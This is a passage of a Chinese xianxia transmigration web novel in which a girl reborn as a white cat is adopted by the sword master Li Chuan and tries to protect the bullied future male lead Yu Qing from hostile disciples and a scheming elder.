只见一株还溢散着灵气的百年灵草躺在中央,笑眯眯地和她打招呼。
“这!”
狭长漂亮的狐狸眼一瞬睁大,“抠门小师弟什么时候这么大方了?!”
“天级灵草啊!”
话说人走了她可就不客气了!
这边的柳云意在和灵草亲密贴贴,回到石洞的黎川看着缩在床上,呼吸平稳的小猫,只觉松了一口气。
他玉白食指轻轻揉了揉白猫的脑袋,被粉色猫爪无意识扒拉开后只觉心中某处愈发柔软。
其实师姐忘记了,这不是他第一次养猫。
少时他在街头流浪,有一只很漂亮的狸花跟着保护他,有人欺负、或者有野狗抢食都会被它三两下赶跑。
他们两个小小的,相依为命。
后来他遇见了一个老头儿,仙风道骨的,笑眯眯地说他天生剑骨,问他愿不愿意随他一起上山修行。
他那时只问了一句:
“能把我的猫也带去吗?”
那人自然是同意了。
狸花被他一起带着上了山。
他练剑刻苦、又天赋异禀,旁人不敢轻视他,连带着他的小猫也被照顾的很好。
狸花也很乖,从来都不捣乱,只每天都会接他下学。
他以为从此自己有家了。
直到狸花死在了他面前。
为了救他,被发狂的妖兽咬死的。
他那时不过金丹,面对元婴期的妖兽硬碰硬只有死路一条。本以为要丧生妖兽口,结果狸花闻着他的味道找了过来。
他从未见过狸花那般凶悍的模样,叫声尖利,尾巴高竖,脊背弓起,毛发炸开。
它像是不会害怕一样,叫着扑了上去,把妖兽的注意全都吸引到了它身上。
用它死,换他生。
等救援的弟子赶过来诛杀妖兽,找到它时,它只剩一截尾巴了。
其他的,约莫都被吃了个干净。
自此,再没有那样一只花色斑斓的猫每日踩着夕阳余晖来接他下学。
他又是孤身一人了。
“喵。”
一声细细的猫叫唤回了黎川的神志,他低头,只见自己的食指被毛团子的前爪紧紧抱着,还轻轻蹭了蹭。
青年嘴角微微上扬,月白长袖微动,盖住了无意识打呼的那团温软。
天道垂怜,好在这次,他不再是孤身一人了。
无论团子身上有什么秘密,他都会护好它的。
三百年前他的罪,三百年后,他亲自赎。
*
姜姒是被热醒的。
体内的血液好似煮沸一般,蒸得她整只猫都要熟透。
小姑娘努力睁开眼,却只见眼前一片不明黑暗。
?
她瞎了吗?!
少女堪称惊恐地迅速站起,随着她的动作,盖在她身上保暖的雪狐大氅被顶了个鼓包。
一旁坐着品茶的黎川注意到这边的动静,眼
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含笑意,语气温柔:
“醒了,感觉身体如何?”
费力爬出大氅的姜姒正急着梳理自己身上乱糟糟的长毛,几乎是没思考便下意识地小猫点头。
等她反应过来自己干了什么时,整只猫都僵硬了。
她机械歪头,补救似地喵喵喵,企图萌混过关。
喵喵喵——‘你在说什么,听不懂思密达~’
黎川只是含笑盯着她。
被高岭之花盯着笑属实是一件很诡异的事,最终小姑娘只撑了三秒便败下阵来。
看着白猫怂成一团的模样,青年低笑出声。
他嗓音清冷如玉,笑起来只让人觉得如听仙乐耳暂明。
姜姒是个不争气的,她头还低着,只一双黑亮猫瞳努力向上看。
不看不要紧,一看就对上了一双冰山融化的柳叶眼。小姑娘被吓得后仰了一下,差点摔下床。
好在黎川眼疾手快,抬手勾住她的后脖颈,撑住了她上半个身子。
见她是真害怕,青年敛了玩笑神色,语气认真:
“我知道你能听得懂我说话,但你放心,我绝不会让人伤害你。”
他顿了顿,补了句:
“师姐和大师兄也不行。”
“你昨晚救了我,我欠你一命。”
“虽不知你身上有何奇异之处,竟能避过我和师兄的探查,但你目前实力过于弱小,不妨就先住在这,我会保护好你的。”
见姜姒还是有些犹疑模样,黎川抿了抿唇,双指并拢、抵于额心,低声念咒:
“于我于此,天地见证,以我之力,供尔之灵。”
不过几息之间,青色长线慢慢浮现,连接起两人心脏。
小姑娘只感觉一股强大舒适的灵力涌入体内。
喵——‘这是?’
“这是我的灵力。”
见契约成型,黎川放下手臂,开口解释。
“这个契约不会伤害你,我是渡劫期修士,你我结契,我三分之一的力量会在你遇到危险时保护你,另外——”
他说着,从怀中拿出一枚长命锁,仔仔细细系在了小姑娘脖颈上。
“这是云白琉璃,温养最有奇效,于你而言最合适不过。”
常言吃人嘴软、拿人手短,姜姒被塞了这么多好处,再让她挑刺也不过是鸡蛋里面挑骨头。
“喵~”
她不会说话,只能用贴贴蹭蹭来表达自己的感谢。
初到异世本就艰难,眼前这人不仅在她天崩开局的时候救了她一命,现在还给了这么多保命的东西。
小姑娘只愿他长命百岁就好。
但......一想起原著那本书,姜姒只觉膈应。
明明就是很好的人,在书里却被描述成了一个冷心冷情、高高在上的无情仙君。
白团子一边被顺毛顺得发出摩托轰鸣,一边在脑海里艰难回忆原著里男主黑化的原因,毕竟黎川最后是被黑化后的男主攮死的。
至于他为何黑化——
姜姒仔细回忆了下男主前期在凡间遭受的来自亲娘的谩骂毒打、拜入宗门后来自同门的排挤欺负,以及后期被预言为天生邪骨,乃至人人唾弃追杀。
这遭遇......
换谁都得黑化吧?!
5. 005
次日清晨,山雾朦胧。
天边传来几声清越鹤鸣,空气中弥散着干净的露草清香。
一只毛色雪白,唯耳后长尾点缀几抹棕灰的小猫正蹲坐在一块巨石之上,看着不远处练剑的清隽身影,心下微叹。
正是姜姒。
回忆起青年在烛光下温润如玉的侧颜,她骨子里咸鱼的本性嚷嚷着要翻身救人。
小姑娘本是不想过多干涉剧情走向的,但无奈黎川这个饲主对她真的尽心尽责。
昨夜还家徒四壁的栖寒洲,因为她的到来,今天已经被改造得非常宜居舒适了。
上好的银狐皮被人细心铺在她睡觉的石桌之上,整个洞内施加了保温咒,温暖如春。黎川甚至担心她平日里无聊,特地下山一趟带回了许多解趣逗闷的东西。
包括但不限于木抓板、毛线球之类的小玩意儿。
是个会讨猫猫欢心的。
这样一个人,姜姒怎么可能忍心让他落得一个像原著里那般凄惨的下场。
她不要天才陨落、谪仙染尘,她偏要让明月高悬九天之上,受那万人敬仰。
对,就是这样。
别的人不说,她就是想要黎川好好活着,岁岁年年,长乐安康。
先前犹犹豫豫的情绪被姜姒彻底抛之脑后,原本还有些沉重的心轻松起来。
雪白团子轻盈一跃,从巨石上几步跳了下来,迎着初升的霞光,步履坚定,奔向那个朝她俯身弯腰的怀抱。
*
青云峰,弟子舍。
正值午休时刻,大部分内门弟子都在这儿,有打坐修炼的,有三三两两围在一起交流心得的,还有闭目养神的。
姜姒正蹲在他们头顶的树枝上,仔细分辨着下面每一张人脸。
都怪她平时看书喜欢一目十行,对于书里人物的外貌描写大部分就是匆匆略过一眼,乃至于她现在已经记不清原著里男主郁清到底长什么样。
只粗略记得一些特征——
比如被反复提及的长相精致,身量高挑。
但这也太广泛了些。
修仙之人从引气入体开始就会自动排出体内浊物,故而筑基之后大多数人都长相上乘,身段风流。
而要成为内门弟子,第一个硬性要求就是修为至少要在筑基之上。
原著中的乾坤宗是修仙第一大宗,每年入宗的外门弟子少说都有千人左右。
内门弟子每年的考核又竞争激烈,故而他们午休的时间大多都会选择在这颗老榕树下抓紧修炼。
小姑娘瞪着双黑润的猫眼,逆着光线,一看就是一个时辰。
差点看瞎。
直到树下围着的人群散了大半,姜姒才不得不确定,今天她或许注定是要失望而归了。
顺着条人迹罕见的小路下山,碧翠的野草很好地缓解了少女用眼过度的疲劳。
忽得——
她竖起的耳尖敏锐地动了动。
是溪水流淌的声音!
还有......衣衫撕裂的声音?
白色团子刚刚还挺直的耳朵瞬间软了下来,而原本垂在身后的蓬松长尾却无比诚实地竖得老高,甚至有点微微炸毛。
她......她莫不是撞见了什么野鸳鸯了吧?!
正想着非礼勿视、非礼勿听。
几道男声却突然响起,初听时只觉嚣张不屑,但若是细细分辨,便能掀了那虚浮表面,发现其内里隐藏着的污浊嫉妒。
“就凭你这个没爹的杂种,也能考进内门?!定是使了什么见不得人的把戏!”
“就是,不过我看他那副穷酸样,想也知道没什么宝贝进献给管事,我看呐,他定是......”
“定是靠着那张脸给人家摇尾乞怜卖屁股!”
“哈哈哈哈,把他衣服扒了看看——!!!”
......
几句毫无根据的猜测,一段令人作呕的黄谣,就在他们嬉笑之间诞生了。
实力比不过便只能故意说些垃圾话来恶心人。
姜姒此时还不知道被他们围着欺负的是男是女,但于她而言,被霸凌这种事不管是男是女都挺恶心的。
小姑娘平时总是笑着的猫眼此时郁色深沉,她快速分辨出具体方位后,毫不犹豫的冲了过去。
至于她身为一只猫怕不怕……
笑话!打猫还要看主人呢。
黎川可是当世剑尊,再说,她身上还有那么多保命的宝贝,就算到时候打起来也丝毫不惧。
风声略过耳畔,她只能听到自己急促的心跳声。
她四只爪子抡得起飞,总算是在第二次衣帛撕裂声响起之前找到了人。
一条干净的溪水边,几个穿着灰棕外袍、高壮如牛的弟子正围成一个小圈,一小截被撕裂的天蓝碎布被扔在地上,凌乱的脚印脏灰遮盖了原本清透的颜色。
姜姒脚步轻得很,还互相说笑着,嘻嘻哈哈的几人根本没注意到她。
正和她意。
白猫悄悄绕至最壮的那人身后,后退一步,俯身半压,盯准目标后迅速起跳伸爪——
“啊啊啊——!!什么东西抓我!!”
王乔狼狈转身,一道蜿蜒细长的血痕从他后脖颈一直延伸到耳边。他定睛一看,一只白猫前爪正滴着血,弓背竖尾对着他哈气。
作为外门长老王风唯一的儿子,王乔自踏入修仙一途来都是被人护着捧着的,从未像今天这样被一只不知名的畜生抓伤。
伤口处传来的细密疼痛,混着当众丢脸的愤怒将他本就不多的理智烧了个干净。他表情变得狰狞,腰间的长剑出鞘,不由分说就刺向姜姒。
“小畜生,去死!”
“铖——”
剑尖刺到了小姑娘面前,她脖间系着的云白琉璃突然爆发出一股汹涌强大的灵力,将举着剑还想砍第二次的王乔直接掀飞出去。
连带着他身边的几个跟班也未幸免。
其中一个曾在内门长老手下打杂,眼尖识货,辨得不少好东西。
看到白猫颈间系着的琉璃玉,他几乎是瞬间就反应过来,他们惹上不该惹的人了。
强忍着胸腔处断骨的剧烈疼痛,他踉跄着起身,扶起王乔后低声耳语了几句。
得亏有他,姜姒今天才能在几息之间有幸欣赏到一出变脸大戏。
看着领头那人的脸色从愤怒变成了迟疑,再到微微发白,小姑娘第一次体会到了狐假虎威的快乐。
颤着手摸出怀里已经碎成几块的护身法器,王乔勉强吞咽了下口水,带着另外几人称得上是慌不择路逃离了这里。
因为不确定那琉璃玉还有没有第二次攻击效力,姜姒便没有继续追上去,只看着他们走远后,才一瘸一拐地挪向了地上仰躺着,不知生死的少年。
白色毛团刚凑到他脸边,便被那放大的美色冲击到有些愣神。
少年是那种极精致的眉眼,漂亮到甚至有些女相,鼻梁挺直,
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薄唇殷红,一粒朱色小痣正坠在左眼眼尾下方。
这样好看的一张脸,应该世所罕见才是,但姜姒偏偏觉得有几分熟悉。
不对!
小姑娘猛地反应过来——
左眼眼尾的一粒朱色小痣,不是男主郁清的标配吗?!
她当时还想象过,得多有韵味的一张脸,才能配得上这颗恰到好处的艳痣。
得,她现在不用想象了,标准模板就躺在这里。
真真是缘分未到时,怎么都求不得,缘分既到时,怎么都躲不过。
正当姜姒准备收起心中的感慨,去附近找找有没有弟子过来帮忙搭把手时,那双一直紧闭着的眼突然睁开了。
小姑娘一低头,正好和那黑沉阴翳的瞳孔来了个对视。
姜姒:......
下次别再突然睁眼了,怪吓人的。
少年抬眼瞧她,眼尾微微发红,衬上那双漆黑的瞳孔,有种浓墨重彩似的好看。
偏那眼神太冷。
这样的眼神,刚好中和了他过于精致的长相,却也让他整个人看起来愈发恣睢乖张,不好接近。
虽然清醒过来的第一眼就看到了一只不知名的受伤猫猫,郁清却表现得无比平静。
他什么都没说,只自顾自地从地上站了起来,走到小溪边,弯腰捧水洗了把脸。
全程无视了蹲在一旁歪着脑袋看他的毛绒团子。
姜姒是个有耐心的,想她和黎川第一次见面时不也是差点被丢下了嘛,后来对方不还是亲手把她抱了回来。
再说一遍,正常人类,不可能抵御一只撒娇的可爱毛茸茸。
但她属实是没想到男主郁清不是个正常人。
不论她是主动贴贴蹭蹭,还是乖巧仰头看他,甚至于放下独属于高冷猫猫的尊严,主动躺下翻肚皮。
他!都!无!动!于!衷!
只一个劲儿地埋头往前走。
地上到底有什么?!
小姑娘差点放弃。
但一想到这人是老天好不容易给她送过来的未黑化版男主,对于她自己和好心饲主未来保命有大用处,姜姒就又心平气和了。
不过郁清这人有点怪,虽不理睬她,倒也没阻止她一路跟着。
一人一猫顺着蜿蜒小路,回到了当初姜姒蹲点的弟子舍。
小姑娘跟着少年一路七弯八拐,来到了一处破旧的房舍面前。
看着眼前这风一吹好似就摇摇欲坠的鬼地方,姜姒心情更加复杂了。
‘嘎吱’推开木门,她跟着郁清踏入房内。
外面本就破旧,内里就更不能看了,不过好在男主本人是个爱干净的。
郁清上前几步走到床前,忽得停了动作,一动不动。
见他这般反应,姜姒起了点好奇,男主刚刚还一副泰山崩于前,我自岿然不动的冷静,这是看见什么了?
白色团子跳上床边的木桌,够着脑袋定睛一看——
只见那床的中央,不知被谁泼了盆水。
少女沉默了,她实在是不知道该怎么安慰前期未黑化的男主。
毕竟郁清未黑化前,属实是个被刻意针对的小可怜。
她刚想喵几声安慰一下,却听得门口传来一阵巨响,本就有些腐朽的木门被人一脚踹了个报废。
一道苍老的,带着怒气的声音加注灵力,响遍了这个本无人在意的角落。
“郁清,你真是好大的胆子!”
6. 006
来人正是王风。
本就对内门入选名单心生不满的他今日特地告了假,在屋内打坐休息,谁知临近傍晚时分,唯一的独苗王乔满身伤痕、跌跌撞撞地跑来找他。
虽及时给对方治疗了皮外伤,但其内里被强大灵力震坏的经脉他却无论如何也修复不了。
就连当初他专门给王乔求的保命法器也被人毁成了零碎几块。
那可是地级宝贝啊!
想他王风在外门混了几十年,也才得了这么一件。
王乔明显是不想再提及那宝物被毁的过程,但在他一而再再而三的严厉追问下,对方还是松了口,支支吾吾地交代了下午发生的事情经过。
还特地向他强调了白猫身上法宝的厉害之处,以此来证明不是自己的能力问题。
王风此人,虽说修炼能力不怎么样,但胜在精通人情世故,和不少内门长老都私交甚好。
他跑去长老办事处打听了一圈,很轻易地就获得了自己想要的消息。
不看不知道,一看吓一跳。
那除了脸一无是处的小东西竟然是黎川剑尊的爱宠。
他一下就反应过来自家儿子这伤怕是讨不到说法了。
本想着就此揭过,但王风心里却怎么也咽不下这口气,这人眼珠子咕噜一转,很快便找到了一个可供他发泄的无辜出气筒——
那便是刚刚进入内门的郁清。
论实力,他还比不过早已元婴大成的自己;论背景,他不过一介无父无母的孤儿。
乾坤宗人才济济,天骄辈出,像郁清这样的人,就算有一天无故失踪了,也不会真的有人在意。
王风其实早就注意到这个少年了。
没办法,对方的样貌、身段,乃至于修为,都太适合做炉鼎供人采补了。
修炼一途,虽大多数人勤勤恳恳,相信天道酬勤;但也有少部分人想着一步登天,日进千里。
炉鼎,便是为后面一种人准备的最佳捷径。
他之前本来是准备下手的,无奈郁清这人警惕心太重,谁都不信,而自愿献身的人又多得很,不至于吊死在一颗树上,他便歇了这个心思。
如今嘛......这小子可算是被他抓到把柄了。
故意殴打同门、心思狠辣致人经脉受损,理应废除灵脉,逐出宗门!
至于逐出宗门之后的去处?
谁在乎。
抱着这样隐秘不可告人的恶毒心思,他找到郁清的所在处后,直接一脚踹开了门,还故意用灵力加大声音,想着闹得越大越好。
谁料他进屋后第一眼见着的不是惊慌失措的无助少年,而是一脸厌恶盯着他的那只‘关系户’猫猫,至于他找茬的对象,正被猫挡在身后护得好好的。
姜姒看着来人那张苍老似树皮的脸,恨不得立刻转身看看郁清洗洗眼睛。
但她不能,她必须要保护好身后的小可怜。
原著里重点在于男主离开乾坤宗后,一人单干、升级打怪的具体经历,对于他前期宗门内的苦难只堪堪一笔带过。
但越是这样,小姑娘就越心疼他。
没穿书之前,男主郁清所有的喜怒哀乐都与她无关,她不过一个局外人罢了;但穿书之后,她亲自感受到了书中人都是真正有血有肉的鲜活人物,不是一句主角、反派、或者炮灰便能概括完一生的。
前世的姜姒是个敏感骄傲的性子,别说直白的刻意针对了,就是有人背后蛐蛐被她知道了,她也一定是要阴阳回去的。
一比较,少女只觉前期的郁清还是太好欺负了。
如此绵软阴沉的性格,还是得有人护着他才好。
这样想着,她眼神愈发坚定几分,前爪分得更开了些,脊背下压,是个标准的蓄势攻击姿态。
脖颈上系着的云白琉璃映照着门口的残阳,显得夺目又锐利。
被王风踹门喊话的嚣张姿态吸引过来的内门弟子们慢慢围成一个半圆,三两凑对,窃窃私语起来。
“哎,那边那个小白猫是今天星辰师兄说的那只吗?好可爱!”
“是的是的,就是它,据说它一举拿下了不近人情的黎川剑尊?!”
“天哪!无情无欲高岭之花和乖软可爱撒娇猫猫!我直接瞌死啊!!”
“......别瞌死,再造谣你就等着黎师叔先一剑攮死你吧……”
有人认出姜姒,自然也有人讨论郁清。
“你们知道猫猫身后的那人是谁吗?剑尊的猫怎么这么护着他?”
“我知道!他叫郁清,是从外门考进来的!目前还没有拜入哪位长老名下。”
“之前是外门的?怎么猫猫这么亲近他,和猫猫是旧相识?”
“应该不是吧,估计猫比较通人性。毕竟是剑尊亲手救下的,定有过人之处。”
......
原本低着头沉默不语的少年在听见别人说白猫亲近自己时,手指无意识蜷缩了两下,眸光微动。
弟子们讨论声音越来越大,眼见着就要引出管事长老来了,看那白猫腿上隐隐还有着受伤的血迹,说不定还会惊动黎川。
王风心里有了退意,面上便不自觉地露了怯。
姜姒眼尖,察觉出了来人不过是个纸老虎,便又上前了几步,状似不经意地露出了自己右边后腿上的伤口。
果然有弟子喊着要快点通知黎川剑尊。
一听黎川可能要来,王风算是彻底顶不住了。
他打了个哈哈,嘴里一边嘟囔着‘弄错了弄错了’,一边扒开人群快步离开。
唱戏的主角先退了场,没了乐子看,又想到姜姒腿上有伤,众人怕被迁怒,也慢慢散去。
唯留几个担心毛茸茸伤势的还站在远处观望。
郁清看着还挡在他身前的白色团子,抿了抿唇,不知想到了什么,转身进屋,开始翻箱倒柜找东西。
见男主终于有了反应,小姑娘心下微松,乖乖蹲在门口注视着里屋的少年。
郁清打开木箱,看着有些泛黄的瓷瓶眼神微亮。
一旁叠放整齐的蓝色长袍是前几日管事刚发的新衣,他几乎没有犹豫,上手便撕了块布下来。
左手拿着瓷瓶,右手攥着布条,少年嘴角微扬,起身准备仔细查看白猫腿上的伤势。
但他一回头——
原本还等在门槛边上的小猫已经没了
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踪影,空气里只残留一股雪松的冷香。
夕阳的余晖彻底消失,这个屋子里又恢复成阴暗潮湿的破旧模样。
郁清嘴角瞬间趋于平直,眼底微亮的细碎笑意也消失地一干二净。
少年指尖攥得发白,不知过了多久,他缓缓松开了握紧的手掌,任由白净布料跌落在地。
兀自嗤笑出声。
*
姜姒要是有个感化男主系统,这会儿应该已经在她脑海里发出尖锐爆鸣声了。
不过很可惜她没有,而且......
以她目前的情况,就是系统下一秒就要炸了,她也没办法回到男主身边。
因为她现在自身都难保。
今早还对她笑得温柔的青年现在面容冷肃,长而直的睫毛垂下,在眼底投出一片阴影。
他冷白手指轻轻抚过小姑娘受伤流血的地方,姜姒只觉一股温和的灵力顺着四经八脉慢慢涌入体内。
不过几息之间,她的伤便好全了。
连个印子都没留下。
小白猫心怀感激,想要用主动贴贴表示自己的谢意。
谁知她头都已经伸出去了,却在即将碰到青年的前一刻被人躲开了。
姜姒瞥了眼黎川明显还在生气的模样,有些不知所措。
她动作僵硬地跳下桌,竖起长尾围着青年转了几圈,还时不时用额角蹭蹭黎川的裤腿。
见对方还是不为所动的冰块模样。
小姑娘干脆停了绕圈的动作,和他们初次相见时一样,耍赖般直接蹲坐在了黎川的靴子上。
歪着脑袋,夹着嗓子,一声一声地开始撒娇。
这次她坚持到了一百息。
自己养的自己心疼。青年长叹一口气,终是妥协了。
他俯身将白色团子提溜起来,直视着那双湿漉漉的眼睛,故作凶狠地威胁道:
“若是让人察觉到你的异常,必定会将你送到那专门审妖族细作的水牢里。”
“到时候就算有我帮你,也是没用的。”
他骗猫的。
当世无情剑道第一人,想保住谁不过一句话的事。
但他就是想让那团子涨涨教训,明白下一次不要再受伤了。
还是为了不相关的外人受伤。
他会心疼。
意料之中地看着那毛绒耳朵往后下意识缩了缩,青年满意地勾了勾唇角。
他将小猫笼到了怀里,语气又变得轻柔起来:
“不过也不用太过担心,只要你不主动暴露,我会护好你的。”
“我保证。”
心满意足地被小白猫一顿蹭蹭贴贴,黎川原先的气消了大半。
不过他生气本来也不是冲着猫猫来的。
一想到有人故意用剑气划伤了毛绒团子的腿,青年的眼神便沉了下去。
哄睡完自家娇气小白猫后,黎川出了栖寒洲。
他指尖随意掐算几下,很快便确定了王乔王风那对父子的住处。
银白长剑应召出鞘,青年身披霜寒月色,踩着剑迎风而立,面无表情。
这样的黎川,倒真有几分原书里无心无情的仙君模样。
7. 007
子时已过,万籁俱静。
郁清一身单薄中衣,斜斜依靠床头,漆黑墨发随意披散着,衬得他整个人愈发清瘦。
他住的这个屋子是弟子舍里最破最偏的那个,唯一的一扇窄窗平日里只能半开,所以大部分夜晚,他是照不到月光的。
但今天是个例外。
今夜的月亮,格外偏爱他。
大片大片的银白穿过小窗,毫不犹豫奔向床上的少年。
郁清有些恍惚,试探性地伸出了左手,五指分开,小心翼翼握住了那一抹独属于他的皎洁月光。
郁清说不出来此刻是什么感觉。
他只觉得像是儿时第一次尝到糖时,从心底里涌出的愉悦欢欣。
那时候的娘亲还没疯,不会歇斯底里地打他骂他,眼眶通红着让他去死。
更多时候,她会很温柔地抱着他轻声哼曲儿,心情好了,还会给他塞糖。
那些糖他只尝过一颗,剩下的都被他好好珍藏起来了。
想着下次娘亲再偷偷哭的时候分享给她。
但他们没有下次了。
攒了很久的糖连带着娘亲一起,都被一场大火给烧没了。
从那时起他就明白,他这样的人,其实什么都留不住的。
冲天的火光混着凄厉的哭喊让郁清又开始头疼,伸出的手一点点收紧,直到最后指节摩擦发出不堪重负的声音。
他还是松了手,任由月色从指缝间流淌出去。
“想明白了?”
一道慵懒的,带着明显嘲意的男声在郁清识海里悠悠响起。
“我早就告诉过你的,你这一生注定人人喊打,众叛亲离。”
感受到那人毫不掩饰的讽刺,少年薄唇紧抿,平直长睫微敛,盖住了眼中名为不甘的情绪,语调沉沉:
“我知道。”
“用不着你一遍遍提醒。”
他说完,赤脚下了床,一步一步靠近那个半开着的,透出月光的小窗。
郁清只凝眸看了几眼,在那人说出更刺耳的话之前,动作利落地关了窗。
没了月光,屋子里瞬间陷入一片死寂暗沉的黑。
少年用力闭了闭眼,转身回到了床榻之上。
毫不在意身下被褥的濡湿,郁清翻了个身,有些神思不属。
他像是中了什么邪术一样,只要一闭眼,脑海里就会不由自主地浮现出刚才那人说过的话。
人人喊打,众叛亲离。
他其实不是很在意这些,毕竟自从记事起,他过的就是这样的日子。
早就习惯了。
但就是因为习惯了那些莫名其妙的恶意,突如其来的善意才最让人不知所措。
下午在河边的时候,他其实并未完全昏迷,还保留了一点意识。
但真的只有一点而已。
听着那些人渣的污言秽语,虽然知道是自己逃不过的命运,但他是真的恨。
恨不得从地上爬起来,扒了他们的皮,拆了他们的骨,让他们求生不能,求死不得。
识海里的那人在冷眼旁观。
他说,这都是天定的命数,逃不脱的。
凭什么!凭什么!凭什么!
少年眼尾发红,就因为是命数,所以他活该被欺负吗?!
郁清撑着一口气,一次次爬起反抗,又一次次被打趴在地。
直到意识模糊,他被逼的不得不认命的时候——
毛绒团子出现了。
它保护了他两次。
一次在河边,一次在弟子舍。
明明是那样小一只,却每次都义无反顾站在他前面。
仔细想想,那人告诉他的故事里,小白猫从头到尾根本就没有出现,直到最后他也是一个人。
但现实却不同,它救了他。所以,会不会......
郁清眼神闪烁,嘴角不受控地微微翘起。
还没等他问什么,那道懒洋洋的男声又出现了:
“别想了,没可能的。”
“那白猫只是个意外而已。”
“你要是和它接触太频繁,天道说不定会自动修正的。”
“修正?”,少年眉心紧皱,语气带上几分警惕,“什么意思。”
察觉到对方的紧张,男人愈发慢条斯理起来,他故意拖长声音:
“什么意思?”
“就是.....会杀了它的意思啊。”
*
姜姒睡醒已经差不多正午时分了,洞里安静得很。
黎川的气息很淡,估计很早就出门练剑了。
果然天才个个都是卷王。
小姑娘感慨了下,伸了个懒腰舒展筋骨,便出了栖寒洲直奔青云峰而去。
毛绒团子目标明确,一路上意志坚定,拒绝了许多弟子的摸摸和投喂。
只想着快点见到她牵挂了一整晚的攻略对象。
幸好她来得还不算迟,规定的午休时间还没结束。姜姒依着记忆,七弯八拐来到了郁清的房舍面前。
少女凑近一看,门口上了锁,只余下一扇窄小的窗户半开着。
姜姒大概对比了一下自己的体型,头能过去,身体也一定可以!
迷之自信的小白猫稍稍退了几步,后腿微弯、使力一蹬,前爪牢牢地扒住了窗沿。
正准备探头进去,小姑娘却忽得感觉脖颈一紧。
侧过脑袋,顺着一只骨节分明的手向上看去,她直直撞进了一双黑沉的眸子。
郁清明明面无表情,姜姒却莫名有股直觉,眼前这人没有生气。
相反......还有点开心?
开心?
毛茸茸不可置信地又耸了耸鼻子,甜中又夹杂着微酸的味道,让她确认对方此时的情绪就是开心。
但这人的表情......真的不像欢迎她的样子啊!
少年眉心拧起,嘴角下压,似乎是没怎么休息好,眼底有层淡淡的乌青。
长而直的睫毛垂眼看人时,总有种疏离的冷漠,但眼尾下方的朱色小痣和薄唇却又让他有种说不出的妖异感。
姜姒眨着黑亮的猫眼,微微歪头,蓬松长尾讨好似的缠上了郁清的手腕。
企图卖萌糊弄过她刚刚扒人窗子的事。
少年手臂一僵。
他向来不擅长对付这种又小又软的生物。
“怎么,又舍不得了?”,那男声调笑似的,“别忘了我昨晚告诉你的事。”
“你的靠近,只会害了它。”
平地一声惊雷响,郁清瞳孔一缩,随后另一只手抬起,把缠在自己手腕上撒娇的长尾扒了下去。
小姑娘整只猫被他放在了地上,还没等她反应过来扒裤腿,对方长腿一跨,几步进了屋,还顺手堵死了她最后一条进门之路。
姜姒:......!!!
这人到底怎么回事?警惕心不要太强了吧!
她又不是什么居心叵测的人!
充其量,
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也不过一只有点小心思的猫而已。
还是那种没有灵力的普!通!猫!猫!
看着眼前紧闭的木门,小姑娘长叹一口气,垂着尾巴耷着脑袋转身离开了。
听着门外渐行渐远的声音,靠着门的少年渐渐低了头。
额前的碎发遮住了他的脸,让人窥不见他的神情是喜是悲。
姜姒不知道男主心中的纠结,她心态还不错,就算被拒绝了一次也没灰心放弃,反而愈挫愈勇。
后来的一个月,她每天都坚持去找郁清打卡,直球出击、风雨无阻。
他修炼,她就趴在树下晒着太阳陪着他;
他吃饭,她也安安静静蹲在一旁守着他;
他一个人的时候,她也会主动翻肚皮打滚撒娇。
因为她的偏心,不仅其他摸不到传奇猫猫的弟子哀嚎遍野,就连她的亲亲饲主都吃了好几回飞醋。
每次回家晚了,都要使尽浑身解数才能哄得高岭之花重新下凡看她。
短短一个月,姜姒只觉苍老了好几岁。
就这,郁清还不怎么买账。
攻略计划的进度,只从一开始的都不拿正眼瞧她到如今好歹还上手摸一下。
本来有进步就是好的,但这进度也太慢了些。
要是真等到男主愿意敞开心扉,避开黑化的那一天......
也不知道以这具身体的寿命能不能等到。
小姑娘瘫在暖和的窝里,有些艰难地翻了个身。
不行!
不能再这样耗下去了!
姜姒狠狠皱眉,有这样的时间,还不如多攻略几个未来大反派。
虽说他们单个的实力比不过未来的郁清,但人多力量大啊!
她就不信了,到时候反派都进了他们阵营,比车轮战还拿不下黑化男主!
总之,换条路走大概率也能保住自己和饲主的两条小命。
少女豁然开朗,前方原本崎岖的路一下子平坦了不少。
至于反派会不会比男主更难攻略?
姜姒大佬点烟,这个小说世界里不会再有比郁清更难搞的人了。
确定换方向后,小姑娘原本沉重的心情瞬间轻松了不少,她欢快地把自己团成个圆,又欣赏了饲主一番盛世美颜后,心满意足地睡了。
黎川靠在石床上,看自家团子一副满足欣喜的模样,原本清润的眼眸里阴云密布。
明明之前最黏、最喜欢的是他,不知怎么突然换了目标,成天跟在一个陌生人后面跑。
之前还以为它整天不归家,只是在宗门里到处逛着玩,谁知是新认了个饲主。
他起先不知道,还是经由师兄委婉提醒才查看了通灵镜。
回忆起镜子里那人风华绝代、俊秀无双的模样,青年忽得有些焦躁,冷白的手轻抚上自己脸颊,喃喃自语:
“难不成那猫,还是个看脸的?”
“我今年三百岁了......好像确实比不过十六七岁的人意气风发。”
要失去某样东西的心慌感一瞬间席卷了黎川,青年赤脚下床,几步走到了石桌前,看着睡得正香的毛绒团子,他垂下头,轻轻抵住小猫额心。
直到感受到温软的那刻,他鼓噪的心才微微平静了些。
他伸出手,环过猫猫后背,是个占有欲十足的姿势。
青年声音很轻,语调有种说不出来的怪异:
“对不起。”
“但请别再离开我了。”
8. 008
十月初七,立冬。
初雪大吉,宜阖家团圆。
下了晚课,天边还残留着一丝光亮,郁清低着头,步子飞快。
他还没学会高级保温咒,寒风阵阵,吹得他鼻头耳尖都通红一片。
回屋之后,风尘仆仆的少年没来得及先给自己施个清洁咒,只几步走到床前,弯腰从枕头底下摸出一块羊脂玉。
这玉品质上乘,入手温润,被人雕琢成了一只小猫的模样。
虽说雕工有些粗糙,但也不难看出雕刻之人的用心。
郁清将那小猫玉佩看了又看,放在手里反复摩挲,嘴角不自主地扬起弧度,漂亮的凤眼里第一次带着期待的笑意。
“嘎吱”一声,木门被推开了。
他有些手忙脚乱地把玉佩藏在了身后。
今日特地没锁门,就是想给那小白猫一个惊喜。
少年调整好表情,满心欢喜一偏头——
看到的却不是熟悉的毛绒团子。而是一身白衣,神色淡漠的出尘仙人,黎川。
“剑尊突然大驾光临,有何要紧事?”
郁清敛了眉目,神色警惕,浑身的刺都不由自主竖了起来。
虽说这乾坤宗从上到下,都觉得这位尊者只性子冷淡了些,为人品行那都是一等一的高洁无暇。
但郁清就是觉得眼前这人对自己有股莫名的敌意。
甚至称得上是杀意。
他实在见过太多表里不一的人了。
繁华外表下内心的破败,高洁赞扬下灵魂的污浊,他们都是世所推崇的强者,却一个比一个肮脏下贱。
他之前未拜入乾坤宗门下时,因容色过盛,差点被人当作炉鼎给卖了。
